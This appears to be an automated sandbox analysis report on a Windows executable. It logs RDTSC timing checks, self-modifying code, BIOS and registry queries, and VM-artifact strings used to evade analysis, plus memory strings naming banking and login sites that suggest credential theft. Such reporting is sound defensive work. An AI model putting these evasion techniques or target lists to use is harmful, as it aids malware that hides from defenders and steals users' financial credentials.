Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7047A second address: 4D704FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE90543D6C1h 0x00000009 and si, 56F6h 0x0000000e jmp 00007FE90543D6C1h 0x00000013 popfd 0x00000014 mov ax, BFE7h 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov ecx, dword ptr [eax+00000FDCh] 0x00000021 pushad 0x00000022 pushad 0x00000023 mov edx, eax 0x00000025 popad 0x00000026 mov bx, BDC4h 0x0000002a popad 0x0000002b test ecx, ecx 0x0000002d pushad 0x0000002e pushfd 0x0000002f jmp 00007FE90543D6C9h 0x00000034 xor cl, FFFFFFB6h 0x00000037 jmp 00007FE90543D6C1h 0x0000003c popfd 0x0000003d popad 0x0000003e jns 00007FE90543D6FCh 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D704FC second address: 4D70500 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70500 second address: 4D70506 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70506 second address: 4D7050C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7050C second address: 4D70576 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE90543D6C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b add eax, ecx 0x0000000d jmp 00007FE90543D6C0h 0x00000012 mov ecx, dword ptr [ebp+08h] 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007FE90543D6BEh 0x0000001c adc ax, 0198h 0x00000021 jmp 00007FE90543D6BBh 0x00000026 popfd 0x00000027 movzx esi, bx 0x0000002a popad 0x0000002b test ecx, ecx 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007FE90543D6BEh 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D601C1 second address: 4D601C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D601C5 second address: 4D601CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D601CB second address: 4D60266 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE9047A81D8h 0x00000009 and esi, 6EAE5328h 0x0000000f jmp 00007FE9047A81CBh 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007FE9047A81D8h 0x0000001b sbb eax, 71B28588h 0x00000021 jmp 00007FE9047A81CBh 0x00000026 popfd 0x00000027 popad 0x00000028 pop edx 0x00000029 pop eax 0x0000002a mov ebp, esp 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f push edi 0x00000030 pop eax 0x00000031 pushfd 0x00000032 jmp 00007FE9047A81D7h 0x00000037 or ax, 427Eh 0x0000003c jmp 00007FE9047A81D9h 0x00000041 popfd 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60335 second address: 4D60339 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60339 second address: 4D6033F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6033F second address: 4D60354 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE90543D6BAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub ebx, ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60354 second address: 4D6035D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ax, 08FFh 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6035D second address: 4D60381 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE90543D6C5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub edi, edi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov bl, cl 0x00000010 mov cx, di 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60381 second address: 4D60387 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60387 second address: 4D6038B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6038B second address: 4D6038F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6038F second address: 4D603C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 inc ebx 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FE90543D6C2h 0x00000010 jmp 00007FE90543D6C5h 0x00000015 popfd 0x00000016 push eax 0x00000017 push edx 0x00000018 mov si, 91FDh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D603C8 second address: 4D60423 instructions: 0x00000000 rdtsc 0x00000002 mov si, 50F9h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 test al, al 0x0000000b jmp 00007FE9047A81D4h 0x00000010 je 00007FE9047A8447h 0x00000016 pushad 0x00000017 mov edx, esi 0x00000019 popad 0x0000001a lea ecx, dword ptr [ebp-14h] 0x0000001d jmp 00007FE9047A81CFh 0x00000022 mov dword ptr [ebp-14h], edi 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 push edx 0x00000029 pop esi 0x0000002a jmp 00007FE9047A81D7h 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6044C second address: 4D6047D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, edi 0x00000005 mov dl, C5h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007FE90543D6C1h 0x00000013 call 00007FE90543D6C0h 0x00000018 pop esi 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6047D second address: 4D60483 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6058C second address: 4D60663 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FE90543D6BFh 0x00000009 add esi, 33447D6Eh 0x0000000f jmp 00007FE90543D6C9h 0x00000014 popfd 0x00000015 mov ecx, 7078F6F7h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d js 00007FE90543D757h 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007FE90543D6C8h 0x0000002a and eax, 59445418h 0x00000030 jmp 00007FE90543D6BBh 0x00000035 popfd 0x00000036 movzx eax, dx 0x00000039 popad 0x0000003a cmp dword ptr [ebp-14h], edi 0x0000003d jmp 00007FE90543D6BBh 0x00000042 jne 00007FE97613B546h 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b pushfd 0x0000004c jmp 00007FE90543D6BBh 0x00000051 xor si, 758Eh 0x00000056 jmp 00007FE90543D6C9h 0x0000005b popfd 0x0000005c pushfd 0x0000005d jmp 00007FE90543D6C0h 0x00000062 or esi, 71FF2808h 0x00000068 jmp 00007FE90543D6BBh 0x0000006d popfd 0x0000006e popad 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60663 second address: 4D60675 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edx 0x00000005 movsx ebx, si 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebx, dword ptr [ebp+08h] 0x0000000e pushad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60675 second address: 4D6067B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6067B second address: 4D6071C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FE9047A81D2h 0x0000000a popad 0x0000000b lea eax, dword ptr [ebp-2Ch] 0x0000000e pushad 0x0000000f push ecx 0x00000010 call 00007FE9047A81CDh 0x00000015 pop eax 0x00000016 pop ebx 0x00000017 movzx eax, bx 0x0000001a popad 0x0000001b push ebx 0x0000001c jmp 00007FE9047A81D6h 0x00000021 mov dword ptr [esp], esi 0x00000024 jmp 00007FE9047A81D0h 0x00000029 nop 0x0000002a pushad 0x0000002b mov dx, si 0x0000002e mov di, si 0x00000031 popad 0x00000032 push eax 0x00000033 pushad 0x00000034 push edx 0x00000035 mov eax, 3B1F2D07h 0x0000003a pop esi 0x0000003b push eax 0x0000003c push edx 0x0000003d pushfd 0x0000003e jmp 00007FE9047A81D3h 0x00000043 or cx, 75CEh 0x00000048 jmp 00007FE9047A81D9h 0x0000004d popfd 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6071C second address: 4D6072A instructions: 0x00000000 rdtsc 0x00000002 mov ah, 2Bh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6072A second address: 4D6072E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6072E second address: 4D60734 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60734 second address: 4D6073A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6073A second address: 4D6073E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6073E second address: 4D60742 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60CB8 second address: 4D60D18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE90543D6BFh 0x00000008 jmp 00007FE90543D6C8h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 cmp dword ptr [75AB459Ch], 05h 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007FE90543D6BDh 0x00000020 xor ax, 9396h 0x00000025 jmp 00007FE90543D6C1h 0x0000002a popfd 0x0000002b mov bx, cx 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60D18 second address: 4D60D3E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9047A81CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FE975495E9Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FE9047A81CDh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60D3E second address: 4D60D44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60D44 second address: 4D60D48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60D48 second address: 4D60D4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60D4C second address: 4D60D5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60D5C second address: 4D60D61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60DD8 second address: 4D60DE7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE9047A81CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60DE7 second address: 4D60E51 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, ebx 0x00000005 pushfd 0x00000006 jmp 00007FE90543D6BBh 0x0000000b jmp 00007FE90543D6C3h 0x00000010 popfd 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007FE90543D6BFh 0x0000001c and esi, 3A1FD05Eh 0x00000022 jmp 00007FE90543D6C9h 0x00000027 popfd 0x00000028 mov bx, cx 0x0000002b popad 0x0000002c mov eax, dword ptr [esp+04h] 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 mov bl, ah 0x00000035 push edi 0x00000036 pop esi 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60E51 second address: 4D60E68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE9047A81D3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60E68 second address: 4D60E6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60E6C second address: 4D60EC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jmp 00007FE9047A81D4h 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 movzx ecx, dx 0x00000019 pushfd 0x0000001a jmp 00007FE9047A81D9h 0x0000001f sbb esi, 63AC7C06h 0x00000025 jmp 00007FE9047A81D1h 0x0000002a popfd 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60EC7 second address: 4D60EF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE90543D6C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a jmp 00007FE90543D6BEh 0x0000000f call 00007FE97613233Dh 0x00000014 push 75A52B70h 0x00000019 push dword ptr fs:[00000000h] 0x00000020 mov eax, dword ptr [esp+10h] 0x00000024 mov dword ptr [esp+10h], ebp 0x00000028 lea ebp, dword ptr [esp+10h] 0x0000002c sub esp, eax 0x0000002e push ebx 0x0000002f push esi 0x00000030 push edi 0x00000031 mov eax, dword ptr [75AB4538h] 0x00000036 xor dword ptr [ebp-04h], eax 0x00000039 xor eax, ebp 0x0000003b push eax 0x0000003c mov dword ptr [ebp-18h], esp 0x0000003f push dword ptr [ebp-08h] 0x00000042 mov eax, dword ptr [ebp-04h] 0x00000045 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000004c mov dword ptr [ebp-08h], eax 0x0000004f lea eax, dword ptr [ebp-10h] 0x00000052 mov dword ptr fs:[00000000h], eax 0x00000058 ret 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d pushad 0x0000005e popad 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60EF6 second address: 4D60EFC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60EFC second address: 4D60F02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60F02 second address: 4D60F06 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60F06 second address: 4D60F16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub esi, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60F16 second address: 4D60F1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60F1A second address: 4D60F20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70A08 second address: 4D70A22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, si 0x00000006 mov eax, 404A192Fh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e je 00007FE97549DC47h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70A22 second address: 4D70A26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70A26 second address: 4D70A2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70A2A second address: 4D70A30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70A30 second address: 4D70A4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, 7016EB3Bh 0x00000008 mov ecx, 03FF0017h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 xchg eax, esi 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov ax, di 0x00000017 push edx 0x00000018 pop ecx 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70A4A second address: 4D70A61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE90543D6C3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70A61 second address: 4D70A77 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FE9047A81CBh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70A77 second address: 4D70AB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE90543D6C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f call 00007FE90543D6C9h 0x00000014 pop eax 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70AB5 second address: 4D70ABB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70B12 second address: 4D70B22 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE90543D6BCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D70B22 second address: 4D70B26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F0DD68 second address: 5F0DD6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6090B1F second address: 6090B23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6090B23 second address: 6090B3A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE90543D6BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6090F5C second address: 6090F62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 609142F second address: 6091450 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FE90543D6C7h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 609427B second address: 609428D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b jno 00007FE9047A81C6h 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 609428D second address: 60942B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE90543D6C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 jbe 00007FE90543D6B6h 0x00000016 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 34314B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 355AE9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 3CFDF2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5F0DDEC instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5F0DCF0 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 60C1D61 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 7560	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7680	Thread sleep time: -210000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7548	Thread sleep time: -32016s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: file.exe, 00000000.00000002.1677236558.0000000000320000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1683042982.000000000609A000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.1385581848.00000000056EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: file.exe, 00000000.00000003.1385581848.00000000056EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: file.exe, 00000000.00000003.1385581848.00000000056EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: file.exe, 00000000.00000003.1385581848.00000000056EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: file.exe, 00000000.00000003.1385581848.00000000056EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: file.exe, 00000000.00000003.1385581848.00000000056EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: file.exe, 00000000.00000002.1681686094.00000000056AD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}&
Source: file.exe, 00000000.00000003.1385581848.00000000056EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: file.exe, 00000000.00000003.1385581848.00000000056EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: file.exe, 00000000.00000003.1385581848.00000000056EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: file.exe, 00000000.00000003.1385581848.00000000056EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: file.exe, 00000000.00000002.1678088995.0000000000EF5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1678088995.0000000000EC8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
